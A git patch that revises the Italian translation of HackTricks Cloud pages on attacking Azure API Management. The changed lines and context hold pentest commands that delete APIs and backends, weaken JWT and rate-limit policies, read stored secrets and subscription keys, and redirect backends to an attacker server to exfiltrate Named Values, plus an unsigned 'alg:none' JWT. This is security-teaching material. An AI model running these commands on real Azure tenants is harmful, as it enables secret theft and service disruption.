From 0a0db45e4e3db3620fd9711f70b0d2645c1518a8 Mon Sep 17 00:00:00 2001 From: Translator Date: Fri, 26 Dec 2025 18:52:52 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api- --- .../az-api-management-post-exploitation.md | 12 +++--- .../az-api-management-privesc.md | 42 +++++++++---------- .../az-services/az-api-management.md | 25 +++++------ 3 files changed, 40 insertions(+), 39 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md index d6770c5b2..8055cbdc7 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-api-management-post-exploitation.md @@ -15,7 +15,7 @@ az rest --method PUT \ } }' ``` -Per bloccare specifici indirizzi IP di client legittimi, l'attaccante può aggiungere policy di filtraggio IP che rifiutano le richieste provenienti da indirizzi selezionati: +Per bloccare specifici client IP legittimi, l'attacker può aggiungere IP filtering policies che rifiutano le richieste provenienti da indirizzi selezionati: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/policy?api-version=2024-05-01" \ @@ -27,8 +27,8 @@ az rest --method PUT \ } }' ``` -## `Microsoft.ApiManagement/service/backends/write` o `Microsoft.ApiManagement/service/backends/delete` -Per far fallire le richieste, l'attaccante può modificare la configurazione del backend e cambiare il suo URL in un indirizzo non valido o non raggiungibile: +## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete` +Per far fallire le richieste, l'attaccante può modificare la configurazione di un backend e sostituirne l'URL con un indirizzo non valido o non raggiungibile: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -40,21 +40,21 @@ az rest --method PUT \ } }' ``` -Oppure eliminare i backend: +Oppure elimina backends: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/apis/delete` -Per rendere le API critiche non disponibili, l'attaccante può eliminarle direttamente dal servizio API Management: +Per rendere indisponibili API critiche, l'attaccante può eliminarle direttamente dal servizio API Management: ```bash az rest --method DELETE \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis/?api-version=2024-05-01" \ --headers "If-Match=*" ``` ## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -Per bloccare l'accesso da Internet, l'attaccante può disabilitare l'accesso pubblico alla rete sul servizio API Management: +Per bloccare l'accesso da Internet, l'attaccante può disabilitare l'accesso di rete pubblico sul servizio API Management: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index fe1f4288b..07ce216c6 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -4,31 +4,31 @@ ## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action` -L'attacco consiste nell'accedere a secrets sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei secrets, sia abusando dei permessi per ottenere secrets Key Vault–backed tramite managed identities. +L'attacco consiste nell'accedere a segreti sensibili memorizzati in Azure API Management Named Values, sia recuperando direttamente i valori dei segreti sia abusando delle autorizzazioni per ottenere segreti supportati da Key Vault tramite managed identities. ```bash az apim nv show-secret --resource-group --service-name --named-value-id ``` ## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action` -Per ogni subscription, l'attaccante può ottenere le chiavi della subscription utilizzando l'endpoint listSecrets con il metodo POST: +Per ogni subscription l'attaccante può ottenere le subscription keys usando l'endpoint listSecrets con il metodo POST: ```bash az rest --method POST \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//subscriptions//listSecrets?api-version=2024-05-01" ``` -La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l'attacker può autenticarsi e accedere alle APIs pubblicate tramite l'API Management Gateway: +La risposta include la subscription primary key (primaryKey) e la secondary key (secondaryKey). Con queste chiavi, l'attaccante può autenticarsi e accedere alle API pubblicate tramite l'API Management Gateway: ```bash curl -H "Ocp-Apim-Subscription-Key: " \ https://.azure-api.net/ ``` -L'attacker può accedere a tutte le APIs e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o APIs sensibili, l'attacker può ottenere informazioni riservate o eseguire operazioni non autorizzate. +L'attaccante può accedere a tutte le API e ai prodotti associati alla sottoscrizione. Se la sottoscrizione ha accesso a prodotti o API sensibili, l'attaccante può ottenere informazioni riservate o eseguire operazioni non autorizzate. ## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write` -L'attacker recupera prima la policy API corrente: +L'attaccante recupera prima la policy dell'API corrente: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//apis//policies/?api-version=2024-05-01&format=rawxml" ``` -L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l'autenticazione, se la policy include la validazione del token JWT, l'attaccante può rimuovere o commentare quella sezione: +L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiettivi. Ad esempio, per disabilitare l'autenticazione, se la policy include JWT token validation, l'attaccante può rimuovere o commentare quella sezione: ```xml @@ -49,7 +49,7 @@ L'attaccante può modificare la policy in diversi modi a seconda dei suoi obiett ``` -Per rimuovere i controlli di rate limiting e consentire attacchi di denial-of-service, l'attaccante può rimuovere o commentare le policy di quota e rate-limit: +Per rimuovere i controlli di rate limiting e consentire denial-of-service attacks, l'attacker può rimuovere o commentare quota and rate-limit policies: ```xml @@ -61,7 +61,7 @@ Per rimuovere i controlli di rate limiting e consentire attacchi di denial-of-se ... ``` -Per modificare la route del backend e reindirizzare il traffico verso un server controllato dall'attaccante: +Per modificare la backend route e reindirizzare il traffico verso un server controllato dall'attacker: ```xml ... @@ -84,33 +84,33 @@ az rest --method PUT \ } }' ``` -## Misconfigurazione della validazione JWT +## JWT Validation Misconfiguration -L'attacker deve sapere che un'API usa JWT token validation e che la policy è misconfigurata. Policy di validazione JWT configurate male possono avere `require-signed-tokens="false"` o `require-expiration-time="false"`, il che permette al servizio di accettare unsigned tokens o tokens che non scadono mai. +L'attaccante deve sapere che un'API utilizza la validazione dei JWT token e che la policy è configurata in modo errato. Le policy di validazione JWT configurate in modo errato possono avere `require-signed-tokens="false"` o `require-expiration-time="false"`, il che permette al servizio di accettare unsigned tokens o token che non scadono mai. -L'attacker crea un JWT malevolo usando l'algoritmo none (unsigned): +L'attaccante crea un JWT token malevolo usando l'algoritmo none (unsigned): ``` # Header: {"alg":"none"} # Payload: {"sub":"user"} eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0. ``` -L'attaccante invia una richiesta all'API utilizzando il token malevolo: +L'attaccante invia una richiesta all'API usando il token malevolo: ```bash curl -X GET \ -H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \ https://.azure-api.net/path ``` -Se la policy è configurata in modo errato con `require-signed-tokens="false"`, il servizio accetterà il token non firmato. L'attaccante può anche creare un token senza un expiration claim se `require-expiration-time="false"`. +Se la policy è configurata male con `require-signed-tokens="false"`, il servizio accetterà il token non firmato. L'attaccante può anche creare un token senza una claim di scadenza se `require-expiration-time="false"`. ## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action` -L'attaccante verifica innanzitutto la configurazione di rete corrente del servizio: +L'attaccante verifica prima la configurazione di rete corrente del servizio: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" ``` L'attaccante esamina la risposta JSON per verificare i valori di `publicNetworkAccess` e `virtualNetworkType`. Se `publicNetworkAccess` è impostato su false o `virtualNetworkType` è impostato su Internal, il servizio è configurato per accesso privato. -Per esporre il servizio a Internet, l'attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (`virtualNetworkType: "Internal"`), l'attaccante lo modifica in None o External e abilita l'accesso alla rete pubblica. Questo può essere fatto usando l'Azure Management API: +Per esporre il servizio su Internet, l'attaccante deve modificare entrambe le impostazioni. Se il servizio è in modalità internal (`virtualNetworkType: "Internal"`), l'attaccante lo imposta su None o External e abilita l'accesso alla rete pubblica. Questo può essere fatto usando l'Azure Management API: ```bash az rest --method PATCH \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service/?api-version=2024-05-01" \ @@ -122,20 +122,20 @@ az rest --method PATCH \ } }' ``` -Una volta che `virtualNetworkType` è impostato su `None` o `External` e `publicNetworkAccess` è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o private endpoints. +Una volta che `virtualNetworkType` è impostato su `None` o `External` e `publicNetworkAccess` è abilitato, il servizio e tutte le sue API diventano accessibili da Internet, anche se in precedenza erano protetti dietro una rete privata o endpoint privati. ## `Microsoft.ApiManagement/service/backends/write` -L'attaccante prima enumera i backends esistenti per identificare quale modificare: +L'attaccante prima elenca i backends esistenti per identificare quale modificare: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends?api-version=2024-05-01" ``` -L'attaccante recupera la configurazione corrente del backend che vuole modificare: +L'attaccante recupera la configurazione corrente del backend che desidera modificare: ```bash az rest --method GET \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" ``` -L'attaccante modifica l'URL del backend per puntare a un server sotto il proprio controllo. Per prima cosa ottiene l'ETag dalla risposta precedente e poi aggiorna il backend: +L'attaccante modifica l'URL del backend per puntare a un server sotto il suo controllo. Per prima cosa ottiene l'ETag dalla risposta precedente e poi aggiorna il backend: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -148,7 +148,7 @@ az rest --method PUT \ } }' ``` -In alternativa, l'attaccante può configurare le intestazioni di backend per esfiltrare i Named Values contenenti segreti. Questo viene fatto tramite la configurazione delle credenziali di backend: +In alternativa, l'attaccante può configurare i backend headers per exfiltrate i Named Values contenenti segreti. Questo avviene tramite la backend credentials configuration: ```bash az rest --method PUT \ --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.ApiManagement/service//backends/?api-version=2024-05-01" \ @@ -165,6 +165,6 @@ az rest --method PUT \ } }' ``` -Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste al backend controllato dall'attaccante, permettendo l'esfiltrazione di segreti sensibili. +Con questa configurazione, i Named Values vengono inviati come header in tutte le richieste verso l'attacker-controlled backend, consentendo l'exfiltration di sensitive secrets. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-api-management.md b/src/pentesting-cloud/azure-security/az-services/az-api-management.md index 28d53aefb..8ebc0ba51 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-api-management.md +++ b/src/pentesting-cloud/azure-security/az-services/az-api-management.md @@ -4,37 +4,38 @@ ## Informazioni di base -Azure API Management (APIM) è un servizio fully managed che offre una **piattaforma unificata per pubblicare, proteggere, trasformare, gestire e monitorare le API**. Permette alle organizzazioni di **centralizzare la strategia API** e garantire governance, prestazioni e sicurezza coerenti attraverso tutti i loro servizi. Agendo come un livello di astrazione tra i servizi di backend e i consumatori di API, APIM semplifica l'integrazione e migliora la manutenibilità fornendo al contempo capacità operative e di sicurezza essenziali. +Azure API Management (APIM) è un servizio completamente gestito che offre una **piattaforma unificata per pubblicare, proteggere, trasformare, gestire e monitorare le API**. Consente alle organizzazioni di **centralizzare la propria strategia API** e garantire governance, prestazioni e sicurezza coerenti su tutti i servizi. Funzionando come livello di astrazione tra i servizi backend e i consumatori delle API, APIM semplifica l'integrazione e migliora la manutenibilità fornendo al contempo funzionalità operative e di sicurezza essenziali. ## Concetti principali -**L'API Gateway** funge da punto di ingresso unico per tutto il traffico API, gestendo funzioni come l'instradamento delle richieste verso i servizi di backend, l'applicazione di limiti di chiamata, la memorizzazione nella cache delle risposte e la gestione dell'autenticazione e autorizzazione. Questo gateway è completamente ospitato e gestito da Azure, garantendo alta disponibilità e scalabilità. +**The API Gateway** funge da punto di ingresso unico per tutto il traffico API, gestendo funzioni come il routing delle richieste ai servizi backend, l'applicazione di limiti di velocità, la memorizzazione nella cache delle risposte e la gestione di autenticazione e autorizzazione. Questo gateway è completamente ospitato e gestito da Azure, garantendo alta disponibilità e scalabilità. -**Il Developer Portal** fornisce un ambiente self-service in cui i consumatori di API possono scoprire le API disponibili, consultare la documentazione e testare gli endpoint. Aiuta a snellire l'onboarding offrendo strumenti interattivi e l'accesso alle informazioni sulle sottoscrizioni. +**The Developer Portal** fornisce un ambiente self-service in cui i consumatori delle API possono scoprire le API disponibili, leggere la documentazione e testare gli endpoint. Aiuta a semplificare l'onboarding offrendo strumenti interattivi e accesso alle informazioni sulle sottoscrizioni. + +**The Management Portal (Management Plane)** viene utilizzato dagli amministratori per configurare e mantenere il servizio APIM. Da qui gli utenti possono definire API e operazioni, configurare il controllo degli accessi, applicare policies, gestire utenti e organizzare le API in prodotti. Questo portale centralizza l'amministrazione e garantisce una governance API coerente. -**Il Management Portal (Management Plane)** è utilizzato dagli amministratori per configurare e mantenere il servizio APIM. Da qui, gli utenti possono definire API e operation, configurare il controllo accessi, applicare policy, gestire utenti e organizzare le API in prodotti. Questo portale centralizza l'amministrazione e assicura una governance API coerente. ## Autenticazione e autorizzazione -Azure API Management supporta diversi meccanismi di autenticazione per proteggere l'accesso alle API. Questi includono subscription keys, OAuth 2.0 tokens e client certificates. APIM si integra inoltre nativamente con Microsoft Entra ID, abilitando la gestione dell'identità a livello enterprise e l'accesso sicuro sia alle API sia ai servizi di backend. +Azure API Management supporta diversi **meccanismi di autenticazione** per proteggere l'accesso alle API. Questi includono **subscription keys**, **OAuth 2.0 tokens** e **client certificates**. APIM si integra inoltre nativamente con **Microsoft Entra ID**, consentendo **gestione delle identità a livello enterprise** e **accesso sicuro** sia alle API che ai servizi backend. -## Policy +## Politiche -Le policy in APIM permettono agli amministratori di personalizzare l'elaborazione di request e response a vari livelli di granularità, inclusi il servizio, l'API, l'operation o il prodotto. Attraverso le policy è possibile far rispettare la validazione di JWT token, trasformare payload XML o JSON, applicare rate limiting, limitare le chiamate per indirizzo IP o autenticarsi verso i servizi di backend usando managed identities. Le policy sono altamente flessibili e costituiscono uno dei punti di forza della piattaforma API Management, permettendo un controllo granulare sul comportamento runtime senza modificare il codice di backend. +Le policy in APIM permettono agli amministratori di personalizzare il **processing di richieste e risposte** a diversi livelli di granularità, incluso il livello **service**, **API**, **operation** o **product**. Tramite le policy è possibile applicare la **validazione dei token JWT**, **trasformare payload XML o JSON**, **applicare il rate limiting**, **limitare le chiamate per indirizzo IP**, o **autenticarsi verso i servizi backend usando managed identities**. Le policy sono **altamente flessibili** e costituiscono uno dei **punti di forza** della piattaforma API Management, permettendo un **controllo granulare del comportamento a runtime** senza modificare il codice backend. ## Named Values -Il servizio fornisce un meccanismo chiamato **Named Values**, che consente di memorizzare informazioni di configurazione come segreti, API keys o altri valori richiesti dalle policy. +Il servizio fornisce un meccanismo chiamato **Named Values**, che consente di memorizzare **informazioni di configurazione** come **secrets**, **API keys** o altri valori necessari per le policies. -Questi valori possono essere memorizzati direttamente all'interno di APIM o referenziati in modo sicuro da Azure Key Vault. I Named Values promuovono una gestione centralizzata e sicura dei dati di configurazione e semplificano la scrittura delle policy permettendo riferimenti riutilizzabili invece di valori hardcoded. +Questi valori possono essere memorizzati direttamente all'interno di APIM o referenziati in modo sicuro da **Azure Key Vault**. I Named Values promuovono una **gestione sicura e centralizzata** dei dati di configurazione e semplificano la scrittura delle policies permettendo **riferimenti riutilizzabili** anziché valori hardcoded. ## Integrazione di rete e sicurezza -Azure API Management si integra perfettamente con gli ambienti di Virtual Network, consentendo connettività privata e sicura ai sistemi di backend. +Azure API Management si integra perfettamente con **ambienti di virtual network**, permettendo connettività **privata e sicura** ai sistemi backend. -Quando distribuito all'interno di una Virtual Network (VNet), APIM può accedere a servizi interni senza esporli pubblicamente. Il servizio permette inoltre la configurazione di certificati personalizzati per supportare l'autenticazione mutual TLS con i servizi di backend, migliorando la sicurezza in scenari in cui è richiesta una forte convalida dell'identità. +Quando distribuito all'interno di una **Virtual Network (VNet)**, APIM può accedere a **servizi interni** senza esporli pubblicamente. Il servizio consente inoltre la configurazione di **custom certificates** per supportare **mutual TLS authentication** con i servizi backend, migliorando la sicurezza in scenari dove è richiesta una **forte validazione dell'identità**. -Queste funzionalità di networking rendono APIM adatto sia per architetture cloud-native sia ibride. +Queste **funzionalità di rete** rendono APIM adatto sia ad architetture **cloud-native** sia **ibride**. ### Enumerare